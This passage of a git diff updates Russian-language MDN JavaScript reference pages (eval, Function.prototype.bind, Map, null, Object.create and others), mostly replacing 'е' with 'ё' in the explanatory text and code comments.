<code>String</code>, и <code>eval()</code> не вычисляет значение выражения, записанного в строковом виде, а возвращает объект типа <code>String</code>.</p> +<p>Если аргумент, переданный <code>eval()</code>, не является строкой, <code>eval() </code>возвращает его неизменным. В следующем примере определён конструктор <code>String</code>, и <code>eval()</code> не вычисляет значение выражения, записанного в строковом виде, а возвращает объект типа <code>String</code>.</p> <pre class="brush:js notranslate">eval(new String("2 + 2")); // возвращает объект типа String, содержащий "2 + 2" eval("2 + 2"); // возвращает 4 @@ -62,7 +62,7 @@ eval(expression.toString()); var x = 2, y = 4; console.log(eval("x + y")); // Прямой вызов, использует локальную области видимости, результат - 6 var geval = eval; - console.log(geval("x + y")); // Непрямой вызов, использует глобальную область видимости, бросит ReferenceError, т.к. `x` - не определен + console.log(geval("x + y")); // Непрямой вызов, использует глобальную область видимости, бросит ReferenceError, т.к. `x` - не определён } </pre> @@ -93,7 +93,7 @@ var result = obj[ propname ]; // obj[ "a" ] то же, что и obj.a <h3 id="Используйте_функции_вместо_исполнения_фрагментов_кода">Используйте функции вместо исполнения фрагментов кода</h3> -<p>У JavaScript <a class="external" href="http://en.wikipedia.org/wiki/First-class_function" title="http://en.wikipedia.org/wiki/First-class_function">функции первого класса</a>, что значит, что вы можете передавать функции как аргументы, хранить их в переменных или свойствах объектов и так далее. Многие DOM API созданы с учетом этого, так что вы можете (и вам следует) писать:</p> +<p>У JavaScript <a class="external" href="http://en.wikipedia.org/wiki/First-class_function" title="http://en.wikipedia.org/wiki/First-class_function">функции первого класса</a>, что значит, что вы можете передавать функции как аргументы, хранить их в переменных или свойствах объектов и так далее. Многие DOM API созданы с учётом этого, так что вы можете (и вам следует) писать:</p> <pre class="brush: js notranslate">// вместо setTimeout(" ... ", 1000) : setTimeout(function() { ... }, 1000); @@ -111,7 +111,7 @@ elt.addEventListener("click", function() { ... } , false); </pre> <h3 id="Передавайте_данные_вместо_кода">Передавайте данные вместо кода</h3> -<p>К примеру, расширение, созданное изменять содержимое веб-страниц, должно иметь правила, определенные в <a href="/en-US/docs/XPath" title="XPath">XPath</a>, а не JS коде.</p> +<p>К примеру, расширение, созданное изменять содержимое веб-страниц, должно иметь правила, определённые в <a href="/en-US/docs/XPath" title="XPath">XPath</a>, а не JS коде.</p> <h3 id="Выполняйте_код_с_ограниченными_правами">Выполняйте код с ограниченными правами</h3> @@ -132,7 +132,7 @@ eval(z); // вернёт 42 <h3 id="Использование_eval_для_исполнения_строки_содержащей_операторы_JavaScript">Использование <code>eval</code> для исполнения строки, содержащей операторы JavaScript</h3> -<p>Следующий пример использует <code>eval()</code> для получения значения выражения <code>str</code>. Эта строка состоит из JavaScript выражений, печатающих в консоль, и, если x равен пяти, призывающих z значение 42, или 0 в противном случае. Когда второе выражение будет исполнено, <code>eval()</code> будет считать выражения выполненными, а также это установит значение выражению переменной z и вернет его.</p> +<p>Следующий пример использует <code>eval()</code> для получения значения выражения <code>str</code>. Эта строка состоит из JavaScript выражений, печатающих в консоль, и, если x равен пяти, призывающих z значение 42, или 0 в противном случае. Когда второе выражение будет исполнено, <code>eval()</code> будет считать выражения выполненными, а также это установит значение выражению переменной z и вернёт его.</p> <pre class="brush:js notranslate">var x = 5; var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; "; @@ -141,7 +141,7 @@ console.log("z is ", eval(str));</pre> <h3 id="Последнее_выражение_выполняется">Последнее выражение выполняется</h3> -<p><code>eval()</code> вернет значение последнего выполняемого выражения</p> +<p><code>eval()</code> вернёт значение последнего выполняемого выражения</p> <pre class="brush:js notranslate">var str = "if ( a ) { 1+1; } else { 1+2; }"; var a = true; @@ -202,7 +202,7 @@ var fct2 = eval(fctStr2) // вернёт функцию <h3 id="Gecko-специфичные_замечания">Gecko-специфичные замечания</h3> <ul> - <li>Исторически <code>eval()</code> имел второй необязательный аргумент, указывающий на то, в контексте какого объекта будет выполняться выражение. Этот аргумент не был стандартизован и был удален из SpiderMonkey в Gecko 1.9.1 (Firefox 3.5). См. {{bug(442333)}}.</li> + <li>Исторически <code>eval()</code> имел второй необязательный аргумент, указывающий на то, в контексте какого объекта будет выполняться выражение. Этот аргумент не был стандартизован и был удалён из SpiderMonkey в Gecko 1.9.1 (Firefox 3.5). См. {{bug(442333)}}.</li> </ul> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/javascript/reference/global_objects/float32array/index.html b/files/ru/web/javascript/reference/global_objects/float32array/index.html index dcd127face..f8fbb0c603 100644 --- a/files/ru/web/javascript/reference/global_objects/float32array/index.html +++ b/files/ru/web/javascript/reference/global_objects/float32array/index.html @@ -185,7 +185,7 @@ var z = new Float32Array(buffer, 0, 4); <h2 id="Заметки_по_совместимости">Заметки по совместимости</h2> -<p>Начиная с ECMAScript 2015 (ES6), <code>Float32Array</code> конструктор обязательно должен вызываться с ключевым словом {{jsxref("Operators/new", "new")}}. Вызов <code>Float32Array</code> конструктора как функцию приведет к исключению {{jsxref("TypeError")}}.</p> +<p>Начиная с ECMAScript 2015 (ES6), <code>Float32Array</code> конструктор обязательно должен вызываться с ключевым словом {{jsxref("Operators/new", "new")}}. Вызов <code>Float32Array</code> конструктора как функцию приведёт к исключению {{jsxref("TypeError")}}.</p> <pre class="brush: js example-bad">var dv = Float32Array([1, 2, 3]); // TypeError: calling a builtin Float32Array constructor diff --git a/files/ru/web/javascript/reference/global_objects/function/bind/index.html b/files/ru/web/javascript/reference/global_objects/function/bind/index.html index d153dc9e5c..78061cd192 100644 --- a/files/ru/web/javascript/reference/global_objects/function/bind/index.html +++ b/files/ru/web/javascript/reference/global_objects/function/bind/index.html @@ -32,18 +32,18 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind <h2 id="Description" name="Description">Описание</h2> -<p>Метод <code>bind()</code> создаёт новую "<strong>привязанную функцию</strong>" (<strong>ПФ</strong>). <strong>ПФ</strong> <span class="translation-chunk">- это "необычный </span> <span class="translation-chunk">функциональный объект" ( термин из </span> <strong>ECMAScript 6</strong> <span class="translation-chunk"> ), который является оберткой над исходным </span> <span class="translation-chunk">функциональным объектом. Вызов </span> <strong>ПФ</strong> <span class="translation-chunk"> приводит к исполнению кода обернутой функции.</span></p> +<p>Метод <code>bind()</code> создаёт новую "<strong>привязанную функцию</strong>" (<strong>ПФ</strong>). <strong>ПФ</strong> <span class="translation-chunk">- это "необычный </span> <span class="translation-chunk">функциональный объект" ( термин из </span> <strong>ECMAScript 6</strong> <span class="translation-chunk"> ), который является обёрткой над исходным </span> <span class="translation-chunk">функциональным объектом. Вызов </span> <strong>ПФ</strong> <span class="translation-chunk"> приводит к исполнению кода обёрнутой функции.</span></p> <p><strong>ПФ</strong> <span class="translation-chunk"> имеет следующие внутренние ( скрытые ) свойства:</span></p> <ul> <li><span class="translation-chunk"><strong>[[BoundTargetFunction]]</strong> - оборачиваемый (целевой ) </span> <span class="translation-chunk">функциональный </span><span class="translation-chunk">объект</span></li> - <li><span class="translation-chunk"><strong>[[BoundThis]]</strong> - значение, которое всегда передается в качестве значения <strong>this </strong>при вызове обернутой функции.</span></li> + <li><span class="translation-chunk"><strong>[[BoundThis]]</strong> - значение, которое всегда передаётся в качестве значения <strong>this </strong>при вызове обёрнутой функции.</span></li> <li><span class="translation-chunk"><strong>[[BoundArguments]] </strong>- список значений, элементы которого используются в качестве первого аргумента при вызове оборачиваемой функции.</span></li> <li><strong><span class="translation-chunk">[[</span>Call</strong><span class="translation-chunk"><strong>]] </strong>- внутренний метод. Выполняет код (функциональное выражение), связанный с функциональным объектом. </span></li> </ul> -<p><span class="translation-chunk">Когда <strong>ПФ </strong>вызывается, исполняется ее внутренний метод </span> <strong>[[Call]]</strong> <span class="translation-chunk"> со следующими аргументами </span> <strong>Call(<em>target</em>, <em>boundThis</em>, <em>args</em>).</strong></p> +<p><span class="translation-chunk">Когда <strong>ПФ </strong>вызывается, исполняется её внутренний метод </span> <strong>[[Call]]</strong> <span class="translation-chunk"> со следующими аргументами </span> <strong>Call(<em>target</em>, <em>boundThis</em>, <em>args</em>).</strong></p> <ul> <li><strong><em>target</em></strong> <span class="translation-chunk"> - <strong>[[BoundTargetFunction]]</strong>;</span></li> @@ -163,7 +163,7 @@ emptyObj.x + ',' + emptyObj.y; <h3 id="Example:_Creating_shortcuts" name="Example:_Creating_shortcuts">Пример: создание сокращений</h3> -<p>Метод <code>bind()</code> также полезен в случаях, если вы хотите создать сокращение для функции, требующей определенное значение <code>this</code>.</p> +<p>Метод <code>bind()</code> также полезен в случаях, если вы хотите создать сокращение для функции, требующей определённое значение <code>this</code>.</p> <p>Возьмём, например, метод {{jsxref("Array.prototype.slice")}}, который вы можете использовать для преобразования массивоподобного объекта в настоящий массив. Вы можете создать подобное сокращение:</p> diff --git a/files/ru/web/javascript/reference/global_objects/function/index.html b/files/ru/web/javascript/reference/global_objects/function/index.html index 4b6b4f5825..a097213c69 100644 --- a/files/ru/web/javascript/reference/global_objects/function/index.html +++ b/files/ru/web/javascript/reference/global_objects/function/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Function <p>{{JSRef}}</p> -<p><strong><code>Function</code> constructor</strong> создает новый объект <code>Function</code>. Вызов <code>constructor</code> создает функцию динамически, но страдает от проблем безопасности и аналогичных (но гораздо менее значительных) проблем производительности {{jsxref("eval")}}. Однако, в отличие от eval, конструктор функций создает функции, которые выполняются только в глобальной области..</p> +<p><strong><code>Function</code> constructor</strong> создаёт новый объект <code>Function</code>. Вызов <code>constructor</code> создаёт функцию динамически, но страдает от проблем безопасности и аналогичных (но гораздо менее значительных) проблем производительности {{jsxref("eval")}}. Однако, в отличие от eval, конструктор функций создаёт функции, которые выполняются только в глобальной области..</p> <p>{{EmbedInteractiveExample("pages/js/function-constructor.html")}}</p> diff --git a/files/ru/web/javascript/reference/global_objects/function/name/index.html b/files/ru/web/javascript/reference/global_objects/function/name/index.html index 82a59765f2..b421c428a8 100644 --- a/files/ru/web/javascript/reference/global_objects/function/name/index.html +++ b/files/ru/web/javascript/reference/global_objects/function/name/index.html @@ -44,7 +44,7 @@ alert(doSomething.name); // выведет "doSomething" <h3 id="Предполагаемые_имена_функций">Предполагаемые имена функций</h3> -<p>Переменные и методы могут предположить название анонимной функции из ее синтаксической позиции (new in ECMAScript 2015).</p> +<p>Переменные и методы могут предположить название анонимной функции из её синтаксической позиции (new in ECMAScript 2015).</p> <pre class="brush: js">var f = function() {}; var object = { @@ -79,7 +79,7 @@ alert(object.someMethod.name); //someMethod <p>Для изменения name можно использовать {{jsxref("Object.defineProperty()")}}.</p> -<h3 id="Сокращенные_имена_методов">Сокращенные имена методов</h3> +<h3 id="Сокращённые_имена_методов">Сокращённые имена методов</h3> <pre class="brush: js"><code>var o = { foo(){} @@ -129,7 +129,7 @@ console.log(fooInstance.constructor.name); // logs "Foo"</code> } </code></pre> -<p>Со <code>static name()</code> методом <code>Foo.name</code> больше не содержит название класса, но отсылает к функции <code>name()</code>. Приведенное выше определение класса в ES2015 будет вести себя в Chrome и Firefx как в ES5:</p> +<p>Со <code>static name()</code> методом <code>Foo.name</code> больше не содержит название класса, но отсылает к функции <code>name()</code>. Приведённое выше определение класса в ES2015 будет вести себя в Chrome и Firefx как в ES5:</p> <pre><code>function Foo() {} Object.defineProperty(Foo, 'name', { writable: true }); @@ -189,7 +189,7 @@ if (b.constructor.name === 'Foo') { console.log('Oops!'); }</code></pre> -<p>В несжатой версии код выполняется ожидаемо <code>"'foo' is an instance of 'Foo'"</code>. В то время, как в сжатой версии он ведет себя иначе. Если вы полагаетесь на <code>Function.name</code>, как в примере, то убедитесь, что pipeline не меняет код или не ожидайте от функции определенного имени.</p> +<p>В несжатой версии код выполняется ожидаемо <code>"'foo' is an instance of 'Foo'"</code>. В то время, как в сжатой версии он ведёт себя иначе. Если вы полагаетесь на <code>Function.name</code>, как в примере, то убедитесь, что pipeline не меняет код или не ожидайте от функции определённого имени.</p> <table class="standard-table"> <tbody> diff --git a/files/ru/web/javascript/reference/global_objects/generator/index.html b/files/ru/web/javascript/reference/global_objects/generator/index.html index 8e530ff328..41498f0dfa 100644 --- a/files/ru/web/javascript/reference/global_objects/generator/index.html +++ b/files/ru/web/javascript/reference/global_objects/generator/index.html @@ -40,7 +40,7 @@ console.log(generator().next().value); // 1</pre> <dt>{{jsxref("Generator.prototype.return()")}}</dt> <dd>Возвращает заданное значение и заканчивает генератор.</dd> <dt>{{jsxref("Generator.prototype.throw()")}}</dt> - <dd>Выдает ошибку генератора.</dd> + <dd>Выдаёт ошибку генератора.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/javascript/reference/global_objects/generator/throw/index.html b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html index cfdf5d3bbc..77b096e858 100644 --- a/files/ru/web/javascript/reference/global_objects/generator/throw/index.html +++ b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html @@ -26,11 +26,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw <li><code>done</code> (boolean) <ul> - <li>Имеет значение <code>true</code> если iterator прошел конец итерируемой последовательности. В этом случае <code>value</code> опционально определяется выражением <em>return value</em> внутри итератора .</li> + <li>Имеет значение <code>true</code> если iterator прошёл конец итерируемой последовательности. В этом случае <code>value</code> опционально определяется выражением <em>return value</em> внутри итератора .</li> <li>Имеет значение <code>false</code> если iterator имеет возможность вернуть следующее значение последовательности. Это равносильно когда свойство done не указано.</li> </ul> </li> - <li><code>value</code> - любое JavaScript значение, возвращенное итератором. Может быть проигнорировано, когда <em><code>done</code> === <code>true</code></em>.</li> + <li><code>value</code> - любое JavaScript значение, возвращённое итератором. Может быть проигнорировано, когда <em><code>done</code> === <code>true</code></em>.</li> </ul> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html index 4cce9504e9..56264cb71d 100644 --- a/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html +++ b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction --- <div>{{JSRef}}</div> -<p><strong><code>GeneratorFunction</code> constructor</strong> создает новый {{jsxref("Statements/function*", "generator function")}} объект. В JavaScript каждая функция-генератор - это фактически <code>GeneratorFunction</code> объект.</p> +<p><strong><code>GeneratorFunction</code> constructor</strong> создаёт новый {{jsxref("Statements/function*", "generator function")}} объект. В JavaScript каждая функция-генератор - это фактически <code>GeneratorFunction</code> объект.</p> <p><code>Обратите внимание, что GeneratorFunction</code> - это не глобальный объект. Он может быть получен при выполнении следующего кода.</p> @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction <dl> <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> - <dd>Имена, используемые функцией как имена формальных аргументов. Каждый должен быть строкой, которая соответствует правильному JavaScript идентификатору или списком таких строк, разделенных запятыми; например "<code>x</code>", "<code>theValue</code>", или "<code>a,b</code>".</dd> + <dd>Имена, используемые функцией как имена формальных аргументов. Каждый должен быть строкой, которая соответствует правильному JavaScript идентификатору или списком таких строк, разделённых запятыми; например "<code>x</code>", "<code>theValue</code>", или "<code>a,b</code>".</dd> <dt><code>functionBody</code></dt> <dd>A string containing the JavaScript statements comprising the function definition.</dd> </dl> diff --git a/files/ru/web/javascript/reference/global_objects/globalthis/index.html b/files/ru/web/javascript/reference/global_objects/globalthis/index.html index ce4cb48419..0f12223b46 100644 --- a/files/ru/web/javascript/reference/global_objects/globalthis/index.html +++ b/files/ru/web/javascript/reference/global_objects/globalthis/index.html @@ -83,6 +83,6 @@ if (typeof globals.setTimeout !== 'function') { <h3 id="Прогресс_реализации">Прогресс реализации</h3> -<p>В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция еще не достигла стабильности в разных браузерах. Данные генерируются путем запуска соответствующих тестов функциональности в <a href="https://github.com/tc39/test262">Test262</a>, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.</p> +<p>В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция ещё не достигла стабильности в разных браузерах. Данные генерируются путём запуска соответствующих тестов функциональности в <a href="https://github.com/tc39/test262">Test262</a>, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.</p> <p>{{EmbedTest262ReportResultsTable("globalThis")}}</p> diff --git a/files/ru/web/javascript/reference/global_objects/intl/index.html b/files/ru/web/javascript/reference/global_objects/intl/index.html index 4316488c58..cb0df3d472 100644 --- a/files/ru/web/javascript/reference/global_objects/intl/index.html +++ b/files/ru/web/javascript/reference/global_objects/intl/index.html @@ -47,7 +47,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Intl <li><code>"zh-Hans-CN"</code>: упрощённый китайский, используемый в Китае.</li> </ul> -<p>Подметки, определяющие языки, письменности, страны (регионы) и (используется не часто) варианты в языковых метках BCP 47 могут быть найдены в <a href="http://www.iana.org/assignments/language-subtag-registry">Реестре языковых подметок IANA</a>.</p> +<p>Подмётки, определяющие языки, письменности, страны (регионы) и (используется не часто) варианты в языковых метках BCP 47 могут быть найдены в <a href="http://www.iana.org/assignments/language-subtag-registry">Реестре языковых подмёток IANA</a>.</p> <p>BCP 47 также позволяет использовать расширения, и одно из них имеет значение для функций интернационализации JavaScript: это расширение <code>"u"</code> (Unicode). Оно может использоваться для запрашивания настраиваемого языка-зависимого поведения объектов {{jsxref("Global_Objects/Collator", "Collator")}}, {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}} или {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}. Примеры:</p> diff --git a/files/ru/web/javascript/reference/global_objects/isfinite/index.html b/files/ru/web/javascript/reference/global_objects/isfinite/index.html index eb1c6ee465..dcce428701 100644 --- a/files/ru/web/javascript/reference/global_objects/isfinite/index.html +++ b/files/ru/web/javascript/reference/global_objects/isfinite/index.html @@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/isFinite <p><code>isFinite</code> это функция верхнего уровня и она не связана ни с одним объектом.</p> -<p>Вы можете использовать эту функцию там, где требуется определить, является ли аргумент конечным числом. Функция <code>isFinite</code> исследует число в своем параметре. Если аргумент является NaN, положительной или отрицательной бесконечностью, метод вернет <code>false</code>; иначе возвращается <code>true</code>.</p> +<p>Вы можете использовать эту функцию там, где требуется определить, является ли аргумент конечным числом. Функция <code>isFinite</code> исследует число в своём параметре. Если аргумент является NaN, положительной или отрицательной бесконечностью, метод вернёт <code>false</code>; иначе возвращается <code>true</code>.</p> <h2 id="Examples" name="Examples">Примеры</h2> @@ -59,7 +59,7 @@ isFinite(2e64); // true isFinite("0"); // true, но было бы false если использовать - // более надежный вариант Number.isFinite("0") + // более надёжный вариант Number.isFinite("0") </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/map/delete/index.html b/files/ru/web/javascript/reference/global_objects/map/delete/index.html index f9e6cb1cf4..dfa69f8edb 100644 --- a/files/ru/web/javascript/reference/global_objects/map/delete/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/delete/index.html @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p><code>true</code> если элемент существовал в {{jsxref("Map")}} и он был удален или <code>false</code> если элемента с таким ключом не было.</p> +<p><code>true</code> если элемент существовал в {{jsxref("Map")}} и он был удалён или <code>false</code> если элемента с таким ключом не было.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/map/entries/index.html b/files/ru/web/javascript/reference/global_objects/map/entries/index.html index ccdd07a182..eb1a79956b 100644 --- a/files/ru/web/javascript/reference/global_objects/map/entries/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/entries/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries <p>Метод <code><strong>entries()</strong></code> возвращает новый <strong><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Итератор</a></strong>, содержащий пары <code>[key, value]</code> для каждого элемента объекта {{jsxref("Map")}} в том порядке, в котором они были заведены.</p> -<p>Исходный код всех примеров для {{jsxref("Map")}} сохранен на GitHub <a href="https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map">https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map</a>.</p> +<p>Исходный код всех примеров для {{jsxref("Map")}} сохранён на GitHub <a href="https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map">https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map</a>.</p> <p>Вы можете внести свой вклад, для этого: </p> diff --git a/files/ru/web/javascript/reference/global_objects/map/foreach/index.html b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html index 20111c1cdc..27b5c25aa0 100644 --- a/files/ru/web/javascript/reference/global_objects/map/foreach/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html @@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach <p>Если аргумент <code>thisArg</code> указан для <code>forEach</code>, то при вызове <code>callback</code> он будет передан в качестве значения <code>this</code>. В противном случае для <code>this</code> будет передано <code>undefined</code>. Значение <code>this</code>, в конечном итоге наблюдаемое в функции <code>callback</code>, определяется в соответствии c <a href="/ru/docs/Web/JavaScript/Reference/Operators/this">обычными правилами определения <code>this</code> в функции.</a></p> -<p>Каждое значение посещается один раз, за исключением случая, когда оно было удалено и добавлено снова до завершения <code>forEach</code>. <code>callback</code> не вызывается для значений, удаленных до их посещения. Новые значения будут посещены, если они добавлены до завершения <code>forEach</code>.</p> +<p>Каждое значение посещается один раз, за исключением случая, когда оно было удалено и добавлено снова до завершения <code>forEach</code>. <code>callback</code> не вызывается для значений, удалённых до их посещения. Новые значения будут посещены, если они добавлены до завершения <code>forEach</code>.</p> <p><code>forEach</code> исполняет функцию <code>callback</code> один раз для каждого элемента в объекте <code>Map</code>; не возвращает значение.</p> diff --git a/files/ru/web/javascript/reference/global_objects/map/get/index.html b/files/ru/web/javascript/reference/global_objects/map/get/index.html index ae4ca29646..be837c802e 100644 --- a/files/ru/web/javascript/reference/global_objects/map/get/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/get/index.html @@ -29,8 +29,8 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/get <pre class="brush: js notranslate">var myMap = new Map(); myMap.set('bar', 'foo'); -myMap.get('bar'); // Вернет "foo". -myMap.get('baz'); // Вернет undefined. +myMap.get('bar'); // Вернёт "foo". +myMap.get('baz'); // Вернёт undefined. </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/map/index.html b/files/ru/web/javascript/reference/global_objects/map/index.html index 4548a2f79a..fe13de74df 100644 --- a/files/ru/web/javascript/reference/global_objects/map/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/index.html @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map <h3 id="Сравнение_Объектов_и_Map">Сравнение Объектов и Map</h3> -<p>Объекты похожи на <code>Map</code> в том, что оба позволяют устанавливать значения по ключам, получать эти значения, удалять ключи и проверять их наличие. В связи с этим (и потому, что не было встроенных альтернатив), {{jsxref("Object", "Объекты")}} исторически использовались как <code>Map</code>. Однако, у них есть ряд отличий, который дает преимущества <code>Map</code> в ряде случаев:</p> +<p>Объекты похожи на <code>Map</code> в том, что оба позволяют устанавливать значения по ключам, получать эти значения, удалять ключи и проверять их наличие. В связи с этим (и потому, что не было встроенных альтернатив), {{jsxref("Object", "Объекты")}} исторически использовались как <code>Map</code>. Однако, у них есть ряд отличий, который даёт преимущества <code>Map</code> в ряде случаев:</p> <ul> <li>Ключами {{jsxref("Object", "Объекта")}} выступают {{jsxref("String", "Строки")}} и {{jsxref("Symbol", "Символы")}}, в то время как любое значение может быть ключом <code>Map</code>, включая {{jsxref("Function", "функции")}}, {{jsxref("Object", "объекты")}} и {{Glossary("Primitive", "примитивы")}}.</li> @@ -74,7 +74,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/clear" title="The clear() method removes all elements from a Map object."><code>Map.prototype.clear()</code></a></dt> <dd>Удаляет все пары ключ / значение из объекта <code>Map</code>.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/delete" title="The delete() method removes the specified element from a Map object by key."><code>Map.prototype.delete(key)</code></a></dt> - <dd>Возвращает <code>true</code>, если элемент в объекте <code>Map</code> существовал и был удален, или false, если элемент не существует. <code>Map.prototype.has(key)</code> вернет <code>false</code> позже.</dd> + <dd>Возвращает <code>true</code>, если элемент в объекте <code>Map</code> существовал и был удалён, или false, если элемент не существует. <code>Map.prototype.has(key)</code> вернёт <code>false</code> позже.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/entries" title="The entries() method returns a new Iterator object that contains the [key, value] pairs for each element in the Map object in insertion order."><code>Map.prototype.entries()</code></a></dt> <dd>Возвращает новый объект <code>Iterator</code> который содержит <strong>массив</strong> <strong><code>[key, value]</code></strong> для каждого элемента в объекте <code>Map</code> в порядке вставки.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/forEach" title="The forEach() method executes a provided function once per each key/value pair in the Map object, in insertion order."><code>Map.prototype.forEach(callbackFn[, thisArg])</code></a></dt> diff --git a/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html index 28d145db02..9fd81b98cd 100644 --- a/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html +++ b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Квадратный корень заданного числа. Если число отрицательное, то вернется {{jsxref("NaN")}}.</p> +<p>Квадратный корень заданного числа. Если число отрицательное, то вернётся {{jsxref("NaN")}}.</p> <h2 id="Description" name="Description">Описание</h2> diff --git a/files/ru/web/javascript/reference/global_objects/nan/index.html b/files/ru/web/javascript/reference/global_objects/nan/index.html index 7c91aebb62..ca61ca7c3e 100644 --- a/files/ru/web/javascript/reference/global_objects/nan/index.html +++ b/files/ru/web/javascript/reference/global_objects/nan/index.html @@ -45,7 +45,7 @@ valueIsNaN(1); // false valueIsNaN(NaN); // true valueIsNaN(Number.NaN); // true</code></pre> -<p>Тем не менее, обратите внимание на разницу между функцией <code>isNaN()</code> и методом <code>Number.isNaN()</code>: первая вернет <code>true</code>, если значение в настоящий момент является <code>NaN</code>, или если оно станет <code>NaN</code> после того, как преобразуется в число, в то время как последний вернет <code>true</code>, только если текущим значением является <code>NaN</code>:</p> +<p>Тем не менее, обратите внимание на разницу между функцией <code>isNaN()</code> и методом <code>Number.isNaN()</code>: первая вернёт <code>true</code>, если значение в настоящий момент является <code>NaN</code>, или если оно станет <code>NaN</code> после того, как преобразуется в число, в то время как последний вернёт <code>true</code>, только если текущим значением является <code>NaN</code>:</p> <pre><code>isNaN('hello world'); // true Number.isNaN('hello world'); // false</code></pre> diff --git a/files/ru/web/javascript/reference/global_objects/null/index.html b/files/ru/web/javascript/reference/global_objects/null/index.html index 085018dc12..22f65596e9 100644 --- a/files/ru/web/javascript/reference/global_objects/null/index.html +++ b/files/ru/web/javascript/reference/global_objects/null/index.html @@ -40,14 +40,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/null <h3 id="Difference_between_null_and_undefined" name="Difference_between_null_and_undefined">Отличия между <code>null</code> и <code>undefined</code></h3> -<p><code>null</code> является определенным значением отсутствия объекта, тогда как {{jsxref("Global_Objects/undefined", "undefined")}} обозначает неопределенность. Например: </p> +<p><code>null</code> является определённым значением отсутствия объекта, тогда как {{jsxref("Global_Objects/undefined", "undefined")}} обозначает неопределённость. Например: </p> <pre class="brush: js">var element; -// значение переменной element до ее инициализации не определенно: undefined +// значение переменной element до её инициализации не определённо: undefined element = document.getElementById('not-exists'); // здесь при попытке получения несуществующего элемента, метод getElementById возвращает null -// переменная element теперь инициализирована значением null, ее значение определено +// переменная element теперь инициализирована значением null, её значение определено </pre> <p>При проверке на <code>null</code> или {{jsxref("Global_Objects/undefined", "undefined")}}, помните о <a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения#Использование_операторов_равенства">различии между операторами равенства (==) и идентичности (===)</a>: с первым, выполняется преобразование типов. </p> diff --git a/files/ru/web/javascript/reference/global_objects/object/create/index.html b/files/ru/web/javascript/reference/global_objects/object/create/index.html index bb1da1642e..9af356adc0 100644 --- a/files/ru/web/javascript/reference/global_objects/object/create/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/create/index.html @@ -34,7 +34,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/create <h3 id="Throws" name="Throws">Выбрасываемые исключения</h3> -<p>Выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}, если параметр <code>proto</code> не является {{jsxref("Global_Objects/null", "null")}} или объектом (исключение составляют объекты-обертки примитивных типов).</p> +<p>Выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}, если параметр <code>proto</code> не является {{jsxref("Global_Objects/null", "null")}} или объектом (исключение составляют объекты-обёртки примитивных типов).</p> <h2 id="Examples" name="Examples">Примеры</h2> @@ -170,7 +170,7 @@ o2 = Object.create({}, { var hasOwn = 